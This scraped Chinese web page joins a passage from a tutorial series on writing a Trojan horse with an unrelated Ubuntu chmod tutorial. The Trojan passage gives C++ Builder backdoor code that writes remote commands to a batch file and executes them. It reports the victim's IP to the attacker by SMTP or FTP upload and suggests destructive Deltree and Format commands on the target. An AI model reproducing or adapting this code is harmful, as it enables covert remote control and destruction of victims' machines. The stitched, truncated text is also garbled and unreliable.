char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket->SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket->Close();
file://关闭服务
ServerSocket1->Active =true;
file://再次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "[email protected]";
file://将信发到我的邮箱,这一步很关键
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信的主题
NMSMTP1->SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1->Host = "ftp.go.163.com";
file://你的FTP服务器的地址
NMFTP1->UserID = "";
file://你的用户ID
NMFTP1->Port = 21;
file://FTP端口号,一般为21
NMFTP1->Password = "";
file://你的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如果已连接就断开
try
{
NMFTP1->Connect();
file://再连接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1->RemoveDir("public_html");
file://删除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
至此,服务器端(Server)程序
④ Linux/Ubuntu chmod命令详解使用格式和方法
在 Ubuntu Linux 中用源码文件安装软件时经常都会用到chmod命令来更改文件的权限使其在安装时有执行的权限。由于 Ubuntu Linux 默认不能用root账户来登录所以在用chmod命令来更改文件的权限时往往需要结合sudo命令来使用,如果你对sudo命令还不太了解,请先看看本站的《sudo命令详解》
chmod
Linux/Ubuntu 系统中文件调用的权限分为三级:文件拥有者(u)、群组(g)、其他(o)。用chmod就可以更改文件的权限。chmod是一个相当灵活的命令,对同一个文件的权限的修改可以用多种风格的命令格式来实现。
方式一:
语法格式: chmod [-vR] mode 文件名
参数说明:
mode 权限设置字串,格式为[ugoa] [+-=] [rwx]
u 表示文件的拥有者
g 表示与此文件拥有者属于一个组群的人
o 表示其他人
a 表示包含以上三者即文件拥有者(u)、群组(g)、其他(o)
+ 表示增加权限
- 表示取消权限
= 表示唯一设置权限
r 表示有读取的权限
w 表示有写入的权限
x 表示有执行的权限
-v 显示权限改变的详细资料
-R 表示对当前目录下的所有文件和子目录进行相同的权限更改
例:
我们要将当前目录下ownlinux这个文件的权限修为所有用户拥有该文件的读取、写入、执行的权限。在这里就需要结合sudo命令来使用,如果你对sudo命令还不太了解,请先看看本站的《sudo命令详解》
ownlinux@server:/var/www$ sudo chmod a+rwx ownlinux
[sudo] password for ownlinux: (此时输入你的密码)
或者使用
ownlinux@server:/var/www$ sudo chmod ugo+rwx ownlinux
[sudo] password for ownlinux: (此时输入你的密码)
命令不一样,但执行后的效果是一样的。
方式二:
语法格式: chmod [-vR] [No] 文件名
参数说明:
No 三位代表相应权限的数字
-v 显示权限改变的详细资料
-R 表示对当前目录下的所有文件和子目录进行相同的权限更改
可能这种方式对于初学者来说有一定的难度,但这种方法学会后在更改文件权限就变得非常的简单。相信通过我的介绍大家会掌握种方法的:)
首先了解一下读取(r)、写入(w)、执行(x)相应的数字编号,如下图所示
如果你记住了上图所示的数字和对应的权限就往下边看
刚才已经说过了,[No]参数 是三位代表相应权限的数字。从左向右,第一位数学代表文件拥有者(u)的权限、群组(g)的权限、其他(o)的权限。每一个数字就对应该级用户拥有的权限即为rwx相应的数字之和。这样说可能大家不是很明白,我画了一张表帮助大家了解
如上图可以看出来如果是所有用户拥有该文件的读取、写入、执行的权限就是拥有者(u)的权限(4+2+1=7)群组(g)的权限(4+2+1=7)其他(o)的权限(4+2+1=7即为777。注意:如果没有读取的权限则”r”相应的数字编号就为”0″,写入(w)、执行(x)同理。
例:
就用刚才方式一的例子,我们要将当前目录下ownlinux这个文件的权限修为所有用户拥有该文件的读取(r)、写入(w)、执行(x)的权限。回顾一下方式一的命令格式。
ownlinux@server:/var/www$ sudo chmod a+rwx ownlinux
[sudo] password for ownlinux: (此时输入你的密码)
方式二的命令
ownlinux@server:/var/www$ sudo chmod 777 ownlinux
[sudo] password for ownlinux: (此时输入你的密码)
可以看出使用方式二的命令格式简洁明了
如果要让当前目录下ownlinux这个文件的权限修为该文件的拥有者(u)有该文件的读取(r)、写入(w)、执行(x)的权限,群组(g)和其他(o)的用户只有读取(r)和执行(x)的权限,运行以下命令:
ownlinux@server:/var/www$ sudo chmod 755 ownlinux
[sudo] password for ownlinux: (此时输入你的密码)
相信通过我的介绍大家都已经对chmod这个命令有一定的了解了吧。我觉得方式二的命令风格一但了解了就很容易掌握,而且方式二的命令风格简单明了。